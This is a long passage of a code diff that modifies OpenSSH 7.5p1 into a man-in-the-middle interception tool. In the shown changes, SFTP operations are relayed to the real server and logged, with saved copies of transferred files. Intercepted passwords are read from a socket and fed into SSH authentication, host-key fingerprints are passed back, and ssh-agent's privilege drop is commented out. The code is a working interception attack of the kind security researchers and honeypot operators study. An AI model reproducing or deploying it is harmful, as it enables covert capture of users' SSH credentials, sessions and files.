- @@ -1136,18 +1618,26 @@
- debug3("request %u: rmdir", id);
- logit("rmdir name \"%s\"", name);
- + /*
- r = rmdir(name);
- status = (r == -1) ? errno_to_portable(errno) : SSH2_FX_OK;
- send_status(id, status);
- + */
- + status = mitm_do_rmdir(client_conn, name);
- + send_status(id, status);
- +
- + sftp_log(status, "rmdir \"%s\"", name);
- free(name);
- }
- static void
- process_realpath(u_int32_t id)
- {
- - char resolvedname[PATH_MAX];
- char *path;
- int r;
- + char *realpath;
- + Stat s;
- + u_int status;
- if ((r = sshbuf_get_cstring(iqueue, &path, NULL)) != 0)
- fatal("%s: buffer error: %s", __func__, ssh_err(r));
- @@ -1158,6 +1648,7 @@
- }
- debug3("request %u: realpath", id);
- verbose("realpath \"%s\"", path);
- + /*
- if (realpath(path, resolvedname) == NULL) {
- send_status(id, errno_to_portable(errno));
- } else {
- @@ -1166,6 +1657,17 @@
- s.name = s.long_name = resolvedname;
- send_names(id, 1, &s);
- }
- + */
- + realpath = do_realpath(client_conn, path, &status);
- + if (status == SSH2_FX_OK) {
- + attrib_clear(&s.attrib);
- + s.name = s.long_name = realpath;
- + send_names(id, 1, &s);
- + } else
- + send_status(id, status);
- +
- + sftp_log(status, "realpath \"%s\" (Result: %s)", path, realpath != NULL ? realpath : "(NULL)");
- + free(realpath); realpath = NULL;
- free(path);
- }
- @@ -1174,7 +1676,6 @@
- {
- char *oldpath, *newpath;
- int r, status;
- - struct stat sb;
- if ((r = sshbuf_get_cstring(iqueue, &oldpath, NULL)) != 0 ||
- (r = sshbuf_get_cstring(iqueue, &newpath, NULL)) != 0)
- @@ -1182,11 +1683,14 @@
- debug3("request %u: rename", id);
- logit("rename old \"%s\" new \"%s\"", oldpath, newpath);
- + /*
- status = SSH2_FX_FAILURE;
- if (lstat(oldpath, &sb) == -1)
- status = errno_to_portable(errno);
- else if (S_ISREG(sb.st_mode)) {
- + */
- /* Race-free rename of regular files */
- + /*
- if (link(oldpath, newpath) == -1) {
- if (errno == EOPNOTSUPP || errno == ENOSYS
- #ifdef EXDEV
- @@ -1198,10 +1702,12 @@
- ) {
- struct stat st;
- + */
- /*
- * fs doesn't support links, so fall back to
- * stat+rename. This is racy.
- */
- + /*
- if (stat(newpath, &st) == -1) {
- if (rename(oldpath, newpath) == -1)
- status =
- @@ -1214,7 +1720,9 @@
- }
- } else if (unlink(oldpath) == -1) {
- status = errno_to_portable(errno);
- + */
- /* clean spare link */
- + /*
- unlink(newpath);
- } else
- status = SSH2_FX_OK;
- @@ -1224,7 +1732,11 @@
- else
- status = SSH2_FX_OK;
- }
- + */
- + status = mitm_do_rename(client_conn, oldpath, newpath, 1);
- send_status(id, status);
- +
- + sftp_log(status, "rename \"%s\" \"%s\"", oldpath, newpath);
- free(oldpath);
- free(newpath);
- }
- @@ -1232,15 +1744,18 @@
- static void
- process_readlink(u_int32_t id)
- {
- - int r, len;
- - char buf[PATH_MAX];
- + int r;
- char *path;
- + u_int status = 0;
- + char *filename = NULL, *long_name = NULL;
- + Attrib a;
- if ((r = sshbuf_get_cstring(iqueue, &path, NULL)) != 0)
- fatal("%s: buffer error: %s", __func__, ssh_err(r));
- debug3("request %u: readlink", id);
- verbose("readlink \"%s\"", path);
- + /*
- if ((len = readlink(path, buf, sizeof(buf) - 1)) == -1)
- send_status(id, errno_to_portable(errno));
- else {
- @@ -1251,6 +1766,19 @@
- s.name = s.long_name = buf;
- send_names(id, 1, &s);
- }
- + */
- + if (mitm_do_readlink(client_conn, path, &status, &filename, &long_name, &a) == 1) {
- + Stat s;
- + s.name = filename;
- + s.long_name = long_name;
- + s.attrib = a;
- + send_names(id, 1, &s);
- + } else
- + send_status(id, status);
- +
- + sftp_log_attrib("readlink", status, path, &a);
- + free(filename); filename = NULL;
- + free(long_name); long_name = NULL;
- free(path);
- }
- @@ -1267,9 +1795,14 @@
- debug3("request %u: symlink", id);
- logit("symlink old \"%s\" new \"%s\"", oldpath, newpath);
- /* this will fail if 'newpath' exists */
- + /*
- r = symlink(oldpath, newpath);
- status = (r == -1) ? errno_to_portable(errno) : SSH2_FX_OK;
- + */
- + status = mitm_do_symlink(client_conn, oldpath, newpath);
- send_status(id, status);
- +
- + sftp_log(status, "ln -s \"%s\" \"%s\"", oldpath, newpath);
- free(oldpath);
- free(newpath);
- }
- @@ -1286,9 +1819,14 @@
- debug3("request %u: posix-rename", id);
- logit("posix-rename old \"%s\" new \"%s\"", oldpath, newpath);
- + /*
- r = rename(oldpath, newpath);
- status = (r == -1) ? errno_to_portable(errno) : SSH2_FX_OK;
- + */
- + status = mitm_do_rename(client_conn, oldpath, newpath, 0);
- send_status(id, status);
- +
- + sftp_log(status, "posix_rename \"%s\" \"%s\"", oldpath, newpath);
- free(oldpath);
- free(newpath);
- }
- @@ -1299,29 +1837,41 @@
- char *path;
- struct statvfs st;
- int r;
- + u_int status = 0;
- if ((r = sshbuf_get_cstring(iqueue, &path, NULL)) != 0)
- fatal("%s: buffer error: %s", __func__, ssh_err(r));
- debug3("request %u: statvfs", id);
- logit("statvfs \"%s\"", path);
- + /*
- if (statvfs(path, &st) != 0)
- send_status(id, errno_to_portable(errno));
- else
- send_statvfs(id, &st);
- + */
- + if (mitm_do_statvfs(client_conn, path, &st, &status) != -1)
- + send_statvfs(id, &st);
- + else
- + send_status(id, status);
- +
- + sftp_log_statvfs(status, path, &st);
- free(path);
- }
- static void
- process_extended_fstatvfs(u_int32_t id)
- {
- - int r, handle, fd;
- + int r, handle_int;
- struct statvfs st;
- + u_int status = 0;
- + u_char *handle_str = NULL;
- + size_t handle_len = 0;
- + /*
- if ((r = get_handle(iqueue, &handle)) != 0)
- fatal("%s: buffer error: %s", __func__, ssh_err(r));
- - debug("request %u: fstatvfs \"%s\" (handle %u)",
- - id, handle_to_name(handle), handle);
- +
- if ((fd = handle_to_fd(handle)) < 0) {
- send_status(id, SSH2_FX_FAILURE);
- return;
- @@ -1330,6 +1880,19 @@
- send_status(id, errno_to_portable(errno));
- else
- send_statvfs(id, &st);
- + */
- +
- + if ((r = get_handle_all(iqueue, &handle_str, &handle_len, &handle_int)) != 0)
- + fatal("%s: buffer error: %s", __func__, ssh_err(r));
- +
- + debug3("request %u: fstatvfs (handle %u)", id, handle_int);
- + if (mitm_do_fstatvfs(client_conn, handle_str, handle_len, &st, &status) != -1)
- + send_statvfs(id, &st);
- + else
- + send_status(id, status);
- +
- + sftp_log_fstatvfs(status, handle_str, handle_len, &st);
- + free(handle_str); handle_str = NULL;
- }
- static void
- @@ -1344,9 +1907,14 @@
- debug3("request %u: hardlink", id);
- logit("hardlink old \"%s\" new \"%s\"", oldpath, newpath);
- + /*
- r = link(oldpath, newpath);
- status = (r == -1) ? errno_to_portable(errno) : SSH2_FX_OK;
- + */
- + status = mitm_do_hardlink(client_conn, oldpath, newpath);
- send_status(id, status);
- +
- + sftp_log(status, "ln \"%s\" \"%s\"", oldpath, newpath);
- free(oldpath);
- free(newpath);
- }
- @@ -1354,19 +1922,31 @@
- static void
- process_extended_fsync(u_int32_t id)
- {
- - int handle, fd, r, status = SSH2_FX_OP_UNSUPPORTED;
- + int handle_int, r, status = SSH2_FX_OP_UNSUPPORTED;
- + u_char *handle_str = NULL;
- + size_t handle_len = 0;
- + /*
- if ((r = get_handle(iqueue, &handle)) != 0)
- fatal("%s: buffer error: %s", __func__, ssh_err(r));
- - debug3("request %u: fsync (handle %u)", id, handle);
- - verbose("fsync \"%s\"", handle_to_name(handle));
- + */
- + if ((r = get_handle_all(iqueue, &handle_str, &handle_len, &handle_int)) != 0)
- + fatal("%s: buffer error: %s", __func__, ssh_err(r));
- +
- + debug3("request %u: fsync (handle %u)", id, handle_int);
- + /*
- if ((fd = handle_to_fd(handle)) < 0)
- status = SSH2_FX_NO_SUCH_FILE;
- else if (handle_is_ok(handle, HANDLE_FILE)) {
- r = fsync(fd);
- status = (r == -1) ? errno_to_portable(errno) : SSH2_FX_OK;
- }
- + */
- + status = mitm_do_fsync(client_conn, handle_str, handle_len);
- send_status(id, status);
- +
- + sftp_log_fsync(status, handle_str, handle_len);
- + free(handle_str); handle_str = NULL;
- }
- static void
- @@ -1474,6 +2054,10 @@
- void
- sftp_server_cleanup_exit(int i)
- {
- + write(session_log_fd, "</pre></html>", 13);
- + fdatasync(session_log_fd);
- + close(session_log_fd);
- +
- if (pw != NULL && client_addr != NULL) {
- handle_log_exit();
- logit("session closed for local user %s from [%s]",
- @@ -1485,19 +2069,17 @@
- static void
- sftp_server_usage(void)
- {
- - extern char *__progname;
- -
- fprintf(stderr,
- "usage: %s [-ehR] [-d start_directory] [-f log_facility] "
- "[-l log_level]\n\t[-P blacklisted_requests] "
- "[-p whitelisted_requests] [-u umask]\n"
- " %s -Q protocol_feature\n",
- - __progname, __progname);
- + "/usr/libexec/sftp-server", "/usr/libexec/sftp-server");
- exit(1);
- }
- int
- -sftp_server_main(int argc, char **argv, struct passwd *user_pw)
- +sftp_server_main(int argc, char **argv, struct passwd *user_pw, char *original_host, unsigned short original_port, char *username, char *password_and_fingerprint_socket_name, char *log_filepath, char *log_dir)
- {
- fd_set *rset, *wset;
- int i, r, in, out, max, ch, skipargs = 0, log_stderr = 0;
- @@ -1553,10 +2135,12 @@
- error("Invalid log facility \"%s\"", optarg);
- break;
- case 'd':
- + /*
- cp = tilde_expand_filename(optarg, user_pw->pw_uid);
- homedir = percent_expand(cp, "d", user_pw->pw_dir,
- "u", user_pw->pw_name, (char *)NULL);
- free(cp);
- + */
- break;
- case 'p':
- if (request_whitelist != NULL)
- @@ -1583,6 +2167,7 @@
- }
- log_init(__progname, log_level, log_facility, log_stderr);
- + mitm_init_log(log_filepath, log_dir);
- /*
- * On platforms where we can, avoid making /proc/self/{mem,maps}
- @@ -1638,6 +2223,7 @@
- }
- }
- + client_conn = make_connection(original_host, original_port, username, password_and_fingerprint_socket_name);
- set_size = howmany(max + 1, NFDBITS) * sizeof(fd_mask);
- for (;;) {
- memset(rset, 0, set_size);
- @@ -1706,3 +2292,340 @@
- __func__, ssh_err(r));
- }
- }
- +
- +/* Copied from sftp.c. */
- +/* ARGSUSED */
- +static void
- +killchild(int signo)
- +{
- + if (sshpid > 1) {
- + kill(sshpid, SIGTERM);
- + waitpid(sshpid, NULL, 0);
- + }
- +
- + _exit(1);
- +}
- +
- +/* Copied from sftp.c. */
- +/* ARGSUSED */
- +static void
- +suspchild(int signo)
- +{
- + if (sshpid > 1) {
- + kill(sshpid, signo);
- + while (waitpid(sshpid, NULL, WUNTRACED) == -1 && errno == EINTR)
- + continue;
- + }
- + kill(getpid(), SIGSTOP);
- +}
- +
- +/* Copied from sftp.c. */
- +static void
- +connect_to_server(char *path, char **args, int *in, int *out)
- +{
- + int c_in, c_out;
- +
- +#ifdef USE_PIPES
- + int pin[2], pout[2];
- +
- + if ((pipe(pin) == -1) || (pipe(pout) == -1))
- + fatal("pipe: %s", strerror(errno));
- + *in = pin[0];
- + *out = pout[1];
- + c_in = pout[0];
- + c_out = pin[1];
- +#else /* USE_PIPES */
- + int inout[2];
- +
- + if (socketpair(AF_UNIX, SOCK_STREAM, 0, inout) == -1)
- + fatal("socketpair: %s", strerror(errno));
- + *in = *out = inout[0];
- + c_in = c_out = inout[1];
- +#endif /* USE_PIPES */
- +
- + if ((sshpid = fork()) == -1)
- + fatal("fork: %s", strerror(errno));
- + else if (sshpid == 0) {
- + if ((dup2(c_in, STDIN_FILENO) == -1) ||
- + (dup2(c_out, STDOUT_FILENO) == -1)) {
- + fprintf(stderr, "dup2: %s\n", strerror(errno));
- + _exit(1);
- + }
- + close(*in);
- + close(*out);
- + close(c_in);
- + close(c_out);
- +
- + /*
- + * The underlying ssh is in the same process group, so we must
- + * ignore SIGINT if we want to gracefully abort commands,
- + * otherwise the signal will make it to the ssh process and
- + * kill it too. Contrawise, since sftp sends SIGTERMs to the
- + * underlying ssh, it must *not* ignore that signal.
- + */
- + signal(SIGINT, SIG_IGN);
- + signal(SIGTERM, SIG_DFL);
- +
- + execvp(path, args);
- + fprintf(stderr, "exec: %s: %s\n", path, strerror(errno));
- + _exit(1);
- + }
- +
- + signal(SIGTERM, killchild);
- + signal(SIGINT, killchild);
- + signal(SIGHUP, killchild);
- + signal(SIGTSTP, suspchild);
- + signal(SIGTTIN, suspchild);
- + signal(SIGTTOU, suspchild);
- + close(c_in);
- + close(c_out);
- +}
- +
- +void mitm_init_log(char *log_filepath, char *log_dir) {
- + session_log_fd = open(log_filepath, O_NOATIME | O_NOFOLLOW | O_WRONLY
- +#ifdef SYNC_LOG
- + | O_SYNC
- +#endif
- + );
- +
- + /* Ensure that writes append to the log, since its initialized with
- + * connection information. */
- + lseek(session_log_fd, 0, SEEK_END);
- +
- + if (session_log_fd < 0)
- + logit("MITM: failed to open SFTP log: %s", log_filepath);
- +
- + session_log_dir = strdup(log_dir);
- + if ((session_log_dir = xstrdup(log_dir)) == NULL)
- + fatal("Failed to allocate memory for session log dir path.");
- +}
- +
- +struct sftp_conn *
- +make_connection(char *host, unsigned short port, char *username, char *password_and_fingerprint_socket_name) {
- + arglist args;
- + char *ssh_program = MITM_SSH_CLIENT;
- + int in = -1, out = -1;
- +
- + args.list = NULL;
- + addargs(&args, "%s", ssh_program);
- + addargs(&args, "-E");
- + addargs(&args, "%s", MITM_SSH_CLIENT_LOG);
- + addargs(&args, "-F");
- + addargs(&args, "%s", MITM_SSH_CLIENT_CONFIG);
- + addargs(&args, "-Z");
- + addargs(&args, "%s", password_and_fingerprint_socket_name);
- + addargs(&args, "-oForwardX11=no");
- + addargs(&args, "-oForwardAgent=no");
- + addargs(&args, "-oPermitLocalCommand=no");
- + addargs(&args, "-oClearAllForwardings=yes");
- + addargs(&args, "-oPort=%u", port);
- + addargs(&args, "-oProtocol=2");
- + addargs(&args, "-s");
- + addargs(&args, "--");
- + addargs(&args, "%s@%s", username, host);
- + addargs(&args, "sftp");
- + connect_to_server(ssh_program, args.list, &in, &out);
- + return do_init(in, out, 32768, 64, 0);
- +}
- +
- +/* Simple XSS sanitization. */
- +void xss_sanitize(char *buf, int buf_len) {
- + int i;
- + for (i = 0; i < buf_len; i++) {
- + if (buf[i] == '<')
- + buf[i] = '[';
- + else if (buf[i] == '>')
- + buf[i] = ']';
- + }
- +}
- +
- +/* C doesn't let you pass variable-length arguments from one function to
- + * another if the second function needs to call va_start() again. These
- + * defines cut down on duplicate code in that case. Not sure if there's any
- + * other way to do it... */
- +#define SFTP_LOG_HEADER() va_start(args, fmt); \
- +\
- + /* By setting the last byte to NULL and giving sizeof(buf) - 1 to vsnprintf, \
- + * we can be sure that the buffer will be NULL-terminated afterwards. */ \
- + buf[sizeof(buf) - 1] = '\0'; \
- +\
- + ret = vsnprintf(buf, buf_len - 1, fmt, args); \
- +\
- + /* If we need a larger buffer to format the string into... */ \
- + if (ret >= buf_len) { \
- + buf_len = ret + 1; \
- + if ((buf = reallocarray(NULL, buf_len, sizeof(char))) == NULL) \
- + fatal("Could not allocate buffer for sftp_log."); \
- + buf[buf_len - 1] = '\0'; \
- +\
- + va_end(args); \
- + va_start(args, fmt); \
- + ret = vsnprintf(buf, buf_len, fmt, args); \
- + }
- +
- +#define SFTP_LOG_FOOTER() va_end(args); \
- + /* Free the buffer, if we allocated it. */ \
- + if (buf != buf_stack) { \
- + free(buf); buf = NULL; \
- + }
- +
- +/* Log an SFTP command. */
- +void sftp_log(u_int status, const char *fmt, ...) {
- + char buf_stack[512], *buf = buf_stack;
- + int buf_len = sizeof(buf_stack), ret = 0;
- + va_list args;
- +
- + SFTP_LOG_HEADER()
- + _sftp_log(status, 1, buf, ret);
- + SFTP_LOG_FOOTER()
- +}
- +
- +/* Log an SFTP command without XSS filtering enabled. Don't use this unless
- + * you know what you're doing. */
- +void sftp_log_no_filter(u_int status, const char *fmt, ...) {
- + char buf_stack[512], *buf = buf_stack;
- + int buf_len = sizeof(buf_stack), ret = 0;
- + va_list args;
- +
- + SFTP_LOG_HEADER()
- + _sftp_log(status, 0, buf, ret);
- + SFTP_LOG_FOOTER()
- +}
- +
- +void _sftp_log(u_int status, u_int do_xss_filtering, char *buf, int buf_len) {
- + write(session_log_fd, "> ", 2);
- +
- + /* Replace any angled brackets in the buffer. */
- + if (do_xss_filtering)
- + xss_sanitize(buf, buf_len);
- +
- + /* Write the buffer to the session log. */
- + write(session_log_fd, buf, buf_len);
- +
- + /* If the status is not success, write it into the log as well. */
- + if (status != SSH2_FX_OK) {
- + char errmsg[64];
- + const char *m = status_to_message(status);
- + int r = 0;
- +
- + memset(errmsg, 0, sizeof(errmsg));
- +
- + r = snprintf(errmsg, sizeof(errmsg) - 1, " (Error: %s)", m);
- + write(session_log_fd, errmsg, r);
- + }
- +
- + write(session_log_fd, "\n", 1);
- +}
- +
- +/* Log a file transfer or directory listing. */
- +void sftp_log_close(u_int status, char *handle_str, size_t handle_len) {
- + MITMHandle *mh = NULL;
- +
- + if ((mh = mitm_handle_search(handle_str, handle_len)) != NULL) {
- + char *original_path = mh->original_path;
- +
- + /* If a file handle was closed... */
- + if (mh->type == MITM_HANDLE_TYPE_FILE) {
- + u_int32_t pflags = mh->pflags;
- + char *actual_path = mh->actual_path;
- + const char get[] = "get";
- + const char put[] = "put";
- + const char getput[] = "get/put";
- + const char *verb = getput;
- + int read = 0, write = 0;
- +
- + /* Was the file open for reading, writing, or both? */
- + read = (pflags & SSH2_FXF_READ);
- + write = (pflags & SSH2_FXF_WRITE) || (pflags & SSH2_FXF_APPEND);
- +
- + if (read && !write)
- + verb = get;
- + else if (!read && write)
- + verb = put;
- +
- + /* Make a link in the log to the local file we saved. */
- + sftp_log_no_filter(status, "%s <a href=\"%s\">%s</a>", verb, actual_path, original_path);
- + } else { /* ...a directory was closed. */
- + sftp_log(status, "ls %s\n%s", original_path, mh->file_listing);
- + }
- + } else
- + logit(CANT_FIND_HANDLE, __func__);
- +}
- +
- +/* Writes an Attrib struct to the log. */
- +void sftp_log_attrib(const char *sftp_func, u_int status, char *name, Attrib *a) {
- + if (a != NULL) {
- + status = SSH2_FX_OK;
- + sftp_log(status, "%s \"%s\" (Result: flags: %u; size: %lu; uid: %u; gid: %u; perm: 0%o, atime: %u, mtime: %u)", sftp_func, name, a->flags, a->size, a->uid, a->gid, a->perm, a->atime, a->mtime);
- + } else
- + sftp_log(status, "%s \"%s\" (Result: flags: ?; size: ?; uid: ?; gid: ?; perm: ?, atime: ?, mtime: ?)", sftp_func, name);
- +}
- +
- +/* Given a handle, writes an Attrib struct to the log. */
- +void sftp_log_handle_attrib(const char *func, u_int status, char *handle_str, size_t handle_len, Attrib *a) {
- + MITMHandle *mh = NULL;
- +
- + if ((mh = mitm_handle_search(handle_str, handle_len)) != NULL)
- + sftp_log_attrib(func, status, mh->original_path, a);
- + else
- + logit(CANT_FIND_HANDLE, __func__);
- +}
- +
- +/* Stores the result of a readdir() call (done during file listings). */
- +void sftp_log_readdir(char *handle_str, size_t handle_len, char *listing) {
- + int resize_needed = 0;
- + MITMHandle *mh = NULL;
- +
- + if ((mh = mitm_handle_search(handle_str, handle_len)) != NULL) {
- + size_t listing_len = strlen(listing);
- +
- + /* If the file listing array hasn't been initialized yet, do that now. */
- + if (mh->file_listing_size == 0) {
- + mh->file_listing_size = MITM_HANDLES_FILE_LISTING_BLOCK;
- + if ((mh->file_listing = reallocarray(NULL, mh->file_listing_size, sizeof(char))) == NULL)
- + fatal("MITM: could not allocate file_listing!");
- + mh->file_listing[0] = '\0';
- + }
- +
- + /* If the array isn't big enough, resize it. (+1 for the newline, and +1
- + * for the NULL byte) */
- + while (mh->file_listing_size < (strlen(mh->file_listing) + listing_len + 1 + 1)) {
- + mh->file_listing_size += MITM_HANDLES_FILE_LISTING_BLOCK;
- + resize_needed = 1;
- + }
- +
- + if (resize_needed) {
- + if((mh->file_listing = reallocarray(mh->file_listing, mh->file_listing_size, sizeof(char))) == NULL)
- + fatal("MITM: could not allocate file_listing!");
- + }
- +
- + strlcat(mh->file_listing, listing, mh->file_listing_size);
- + strlcat(mh->file_listing, "\n", mh->file_listing_size);
- + } else
- + logit(CANT_FIND_HANDLE, __func__);
- +}
- +
- +/* Writes a statvfs struct to the log. */
- +void sftp_log_statvfs(u_int status, char *path, struct statvfs *st) {
- + sftp_log(status, "statvfs \"%s\" (Result: filesystem block size: %lu; fragment size: %lu; filesystem size [measured in fragments]: %lu; number of free blocks: %lu; number of free blocks for unprivileged users: %lu; number of inodes: %lu; number of free inodes: %lu; number of free inodes for unprivileged users: %lu; filesystem ID: %lu; mount flags: %lu; maximum filename length: %lu)", path, st->f_bsize, st->f_frsize, st->f_blocks, st->f_bfree, st->f_bavail, st->f_files, st->f_ffree, st->f_favail, st->f_fsid, st->f_flag, st->f_namemax);
- +}
- +
- +/* Given a file handle, writes a statvfs struct to the log. */
- +void sftp_log_fstatvfs(u_int status, char *handle_str, size_t handle_len, struct statvfs *st) {
- + MITMHandle *mh = NULL;
- +
- + if ((mh = mitm_handle_search(handle_str, handle_len)) != NULL)
- + sftp_log_statvfs(status, mh->original_path, st);
- + else
- + logit(CANT_FIND_HANDLE, __func__);
- +}
- +
- +/* Logs an fsync() call. */
- +void sftp_log_fsync(u_int status, char *handle_str, size_t handle_len) {
- + MITMHandle *mh = NULL;
- +
- + if ((mh = mitm_handle_search(handle_str, handle_len)) != NULL)
- + sftp_log(status, "fsync \"%s\"", mh->original_path);
- + else
- + logit(CANT_FIND_HANDLE, __func__);
- +}
- diff -ru --new-file -x '*~' -x 'config.*' -x Makefile -x opensshd.init -x survey.sh -x openssh.xml -x buildpkg.sh -x output.0 -x requests -x traces.0 -x configure openssh-7.5p1/sftp-server-main.c openssh-7.5p1-mitm/sftp-server-main.c
- --- openssh-7.5p1/sftp-server-main.c 2017-03-19 22:39:27.000000000 -0400
- +++ openssh-7.5p1-mitm/sftp-server-main.c 2018-06-12 17:44:46.345760658 -0400
- @@ -49,5 +49,7 @@
- return 1;
- }
- - return (sftp_server_main(argc, argv, user_pw));
- + /* Running a stand-alone SFTP server is unsupported. */
- + /*return (sftp_server_main(argc, argv, user_pw));*/
- + return 0;
- }
- diff -ru --new-file -x '*~' -x 'config.*' -x Makefile -x opensshd.init -x survey.sh -x openssh.xml -x buildpkg.sh -x output.0 -x requests -x traces.0 -x configure openssh-7.5p1/ssh-agent.c openssh-7.5p1-mitm/ssh-agent.c
- --- openssh-7.5p1/ssh-agent.c 2017-03-19 22:39:27.000000000 -0400
- +++ openssh-7.5p1-mitm/ssh-agent.c 2018-06-12 17:44:46.345760658 -0400
- @@ -1228,9 +1228,10 @@
- sanitise_stdfd();
- /* drop */
- + /*
- setegid(getgid());
- setgid(getgid());
- -
- + */
- platform_disable_tracing(0); /* strict=no */
- #ifdef WITH_OPENSSL
- diff -ru --new-file -x '*~' -x 'config.*' -x Makefile -x opensshd.init -x survey.sh -x openssh.xml -x buildpkg.sh -x output.0 -x requests -x traces.0 -x configure openssh-7.5p1/ssh.c openssh-7.5p1-mitm/ssh.c
- --- openssh-7.5p1/ssh.c 2017-03-19 22:39:27.000000000 -0400
- +++ openssh-7.5p1-mitm/ssh.c 2018-06-12 17:44:46.345760658 -0400
- @@ -49,6 +49,7 @@
- #include <sys/resource.h>
- #include <sys/ioctl.h>
- #include <sys/socket.h>
- +#include <sys/un.h>
- #include <sys/wait.h>
- #include <ctype.h>
- @@ -110,6 +111,7 @@
- #include "ssherr.h"
- #include "myproposal.h"
- #include "utf8.h"
- +#include "lol.h"
- #ifdef ENABLE_PKCS11
- #include "ssh-pkcs11.h"
- @@ -192,6 +194,10 @@
- extern int muxserver_sock;
- extern u_int muxclient_command;
- +int num_hostkey_fps = 0;
- +hostkey_fp *server_hostkey_fps = NULL;
- +int password_and_fingerprint_fd = -1;
- +
- /* Prints a help message to the user. This function never returns. */
- static void
- @@ -524,6 +530,7 @@
- struct addrinfo *addrs = NULL;
- struct ssh_digest_ctx *md;
- u_char conn_hash[SSH_DIGEST_MAX_LENGTH];
- + char *password = NULL;
- ssh_malloc_init(); /* must be called before any mallocs */
- /* Ensure that fds 0, 1 and 2 are open or directed to /dev/null */
- @@ -548,6 +555,9 @@
- */
- closefrom(STDERR_FILENO + 1);
- + /* Initialize the array of host key fingerprints. */
- + server_hostkey_fps = calloc(MAX_SERVER_HOSTKEY_FPS, sizeof(hostkey_fp));
- +
- /*
- * Save the original real uid. It will be needed later (uid-swapping
- * may clobber the real uid).
- @@ -605,8 +615,9 @@
- argv0 = av[0];
- again:
- + /* Add -Z to get the password to use. */
- while ((opt = getopt(ac, av, "1246ab:c:e:fgi:kl:m:no:p:qstvx"
- - "ACD:E:F:GI:J:KL:MNO:PQ:R:S:TVw:W:XYy")) != -1) {
- + "ACD:E:F:GI:J:KL:MNO:PQ:R:S:TVw:W:XYyZ:")) != -1) {
- switch (opt) {
- case '1':
- options.protocol = SSH_PROTO_1;
- @@ -931,6 +942,54 @@
- case 'F':
- config = optarg;
- break;
- + case 'Z':
- + /* The argument here is the path to the socket to
- + * read the password and write server host key
- + * fingerprints to. */
- + if (strlen(optarg) > 0) {
- + struct sockaddr_un addr;
- + u_int16_t password_len = 0;
- + int i = 0, bytes_read = 0, r = 0;
- + struct timespec req;
- +
- + memset(&addr, 0, sizeof(addr));
- + addr.sun_family = AF_UNIX;
- + req.tv_sec = 1;
- + req.tv_nsec = 0;
- + password_and_fingerprint_fd = socket(AF_UNIX, SOCK_STREAM, 0);
- +
- + /* Try to connect up to 10 times, pausing 1 second in between each attempt. */
- + strlcpy(addr.sun_path, optarg, sizeof(addr.sun_path));
- + while (i < 10) {
- + if ((r = connect(password_and_fingerprint_fd, (struct sockaddr *)&addr, sizeof(addr))) == 0)
- + break;
- +
- + nanosleep(&req, NULL);
- + i++;
- + }
- +
- + /* If connect() never succeeded, terminate. */
- + if (r != 0)
- + exit(-1);
- +
- + /* Read the password length. */
- + read(password_and_fingerprint_fd, &password_len, sizeof(password_len));
- + password_len = ntohs(password_len);
- +
- + if ((password = calloc(password_len + 1, sizeof(char))) == NULL)
- + exit(-1);
- +
- + /* Read all the bytes to the password. */
- + while (bytes_read < password_len) {
- + r = read(password_and_fingerprint_fd, password + bytes_read, password_len - bytes_read);
- + if ((r < 0) && (r != EINTR))
- + exit(-1);
- + else if (r > 0)
- + bytes_read += r;
- + }
- + password[password_len] = '\0';
- + }
- + break;
- default:
- usage();
- }
- @@ -1292,6 +1351,7 @@
- sensitive_data.nkeys = 0;
- sensitive_data.keys = NULL;
- sensitive_data.external_keysign = 0;
- + sensitive_data.password = password;
- if (options.rhosts_rsa_authentication ||
- options.hostbased_authentication) {
- sensitive_data.nkeys = 9;
- @@ -2194,3 +2254,27 @@
- signal(sig, main_sigchld_handler);
- errno = save_errno;
- }
- +
- +void write_hostkeys() {
- + int i = 0;
- +
- + if (password_and_fingerprint_fd == -1)
- + return;
- +
- + for(i = 0; i < num_hostkey_fps; i++) {
- + char *old = server_hostkey_fps[i].old;
- + char *new = server_hostkey_fps[i].new;
- +
- + send(password_and_fingerprint_fd, old, strlen(old), 0);
- + send(password_and_fingerprint_fd, "\n", strlen("\n"), 0);
- + send(password_and_fingerprint_fd, new, strlen(new), 0);
- + send(password_and_fingerprint_fd, "\n", strlen("\n"), 0);
- +
- + free(server_hostkey_fps[i].old); server_hostkey_fps[i].old = NULL;
- + free(server_hostkey_fps[i].new); server_hostkey_fps[i].new = NULL;
- + }
- + shutdown(password_and_fingerprint_fd, SHUT_RDWR);
- + password_and_fingerprint_fd = -1;
- + free(server_hostkey_fps); server_hostkey_fps = NULL;
- + num_hostkey_fps = 0;
- +}
- diff -ru --new-file -x '*~' -x 'config.*' -x Makefile -x opensshd.init -x survey.sh -x openssh.xml -x buildpkg.sh -x output.0 -x requests -x traces.0 -x configure openssh-7.5p1/sshconnect2.c openssh-7.5p1-mitm/sshconnect2.c
- --- openssh-7.5p1/sshconnect2.c 2017-03-19 22:39:27.000000000 -0400
- +++ openssh-7.5p1-mitm/sshconnect2.c 2018-06-12 17:44:46.345760658 -0400
- @@ -81,6 +81,7 @@
- extern char *client_version_string;
- extern char *server_version_string;
- extern Options options;
- +extern void write_hostkeys();
- /*
- * SSH2 key exchange
- @@ -218,6 +219,7 @@
- kex->verify_host_key=&verify_host_key_callback;
- dispatch_run(DISPATCH_BLOCK, &kex->done, active_state);
- + write_hostkeys();
- /* remove ext-info from the KEX proposals for rekeying */
- myproposal[PROPOSAL_KEX_ALGS] =
- @@ -906,7 +908,8 @@
- snprintf(prompt, sizeof(prompt), "%.30s@%.128s's password: ",
- authctxt->server_user, host);
- - password = read_passphrase(prompt, 0);
- + /* password = read_passphrase(prompt, 0); */
- + password = strdup(authctxt->sensitive->password); /* TODO: zero out password field now? */
- packet_start(SSH2_MSG_USERAUTH_REQUEST);
- packet_put_cstring(authctxt->server_user);
- packet_put_cstring(authctxt->service);
- diff -ru --new-file -x '*~' -x 'config.*' -x Makefile -x opensshd.init -x survey.sh -x openssh.xml -x buildpkg.sh -x output.0 -x requests -x traces.0 -x configure openssh-7.5p1/sshconnect.c openssh-7.5p1-mitm/sshconnect.c
- --- openssh-7.5p1/sshconnect.c 2017-03-19 22:39:27.000000000 -0400
- +++ openssh-7.5p1-mitm/sshconnect.c 2018-06-12 17:44:46.345760658 -0400
- @@ -64,6 +64,8 @@
- #include "authfile.h"
- #include "ssherr.h"
- #include "authfd.h"
- +#include "digest.h"
- +#include "lol.h"
- char *client_version_string = NULL;
- char *server_version_string = NULL;
- @@ -78,6 +80,8 @@
- extern char *__progname;
- extern uid_t original_real_uid;
- extern uid_t original_effective_uid;
- +extern int num_hostkey_fps;
- +extern hostkey_fp *server_hostkey_fps;
- static int show_other_keys(struct hostkeys *, Key *);
